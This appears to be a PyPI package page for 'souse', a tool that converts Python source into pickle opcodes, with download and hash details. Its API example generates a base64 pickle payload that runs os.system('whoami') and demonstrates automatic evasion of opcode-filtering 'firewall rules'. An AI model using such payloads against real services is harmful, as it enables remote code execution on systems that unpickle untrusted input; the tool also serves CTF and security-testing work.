Skip to main content

A tool for converting Python source code to opcode(pickle)

Project description

souse

A tool for converting Python source code to opcode(pickle)

1. help

2. usage

2.1 CLI

./test/ has some example codes for souse.py. The filename starts with N is NOT supported yet.

2.1.1 case 1

source code:

opcode:

2.1.2 case 2

source code:

opcode:

2.1.3 case 3

transfer opcode:

supported:

  • base64_encode
  • hex_encode
  • url_encode

2.1.4 test code

2.2 API

example:

In [1]: import souse

In [2]: exp = "from os import system\nsystem('whoami')"

In [3]: souse.API(exp, optimized=True, transfer="b64").generate()
Out[3]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='

In [4]: import base64

In [5]: souse.API(exp, optimized=True, transfer=base64.b64encode).generate()
Out[5]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='

In [6]: souse.API(exp, optimized=True, transfer=[bytes.decode, str.encode, base64.b64encode]).generate()
Out[6]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='

In [7]: import pickle

In [8]: firewall_rules = {
    ...:     "V": "*",
    ...:     "I01": "*",
    ...:     "I": "100",
    ...:     "R": "*"
    ...: }

In [9]: souse.API(exp, optimized=True, transfer=pickle.loads, firewall_rules=firewall_rules).generate()
[*] choice o to bypass rule: {'R': '*'}
[*] choice S to bypass rule: {'V': '*'}
macr0phag3
Out[9]: 0

3. TODO

  • support for nested expressions
  • opcode bypass supported
    • auto bypass basic limitation(VSI、...)
    • auto bypass complex limitation(Roi
  • value bypass supported
    • number
  • API
  • pip install supported

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

souse-3.2.2.tar.gz (11.9 kB view details)

Uploaded Source

Built Distribution

souse-3.2.2-py3-none-any.whl (14.8 kB view details)

Uploaded Python 3

File details

Details for the file souse-3.2.2.tar.gz.

File metadata

  • Download URL: souse-3.2.2.tar.gz
  • Upload date:
  • Size: 11.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/4.0.1 CPython/3.9.5

File hashes

Hashes for souse-3.2.2.tar.gz
Algorithm Hash digest
SHA256 378ce6f46eebfa0ea603b8f6e043148e8928f4d8652b25d367993e237da503a5
MD5 667af40d3d776c52e98fe016042507a1
BLAKE2b-256 8faa6ba0b9e82998b9bba7da152a0b0c123f98eea2b2f9c60c19268da1ad3b56

See more details on using hashes here.

File details

Details for the file souse-3.2.2-py3-none-any.whl.

File metadata

  • Download URL: souse-3.2.2-py3-none-any.whl
  • Upload date:
  • Size: 14.8 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/4.0.1 CPython/3.9.5

File hashes

Hashes for souse-3.2.2-py3-none-any.whl
Algorithm Hash digest
SHA256 3f7fc842ab5110f18fc744d944e097961e90ebe757e8013f2c6486c827740bb6
MD5 02d1fa8ed24fffa091a947117fb9c121
BLAKE2b-256 9a629886f0019f353b60395ac01d5d007dfccfe692d7f95383d1e6254d7c7793

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page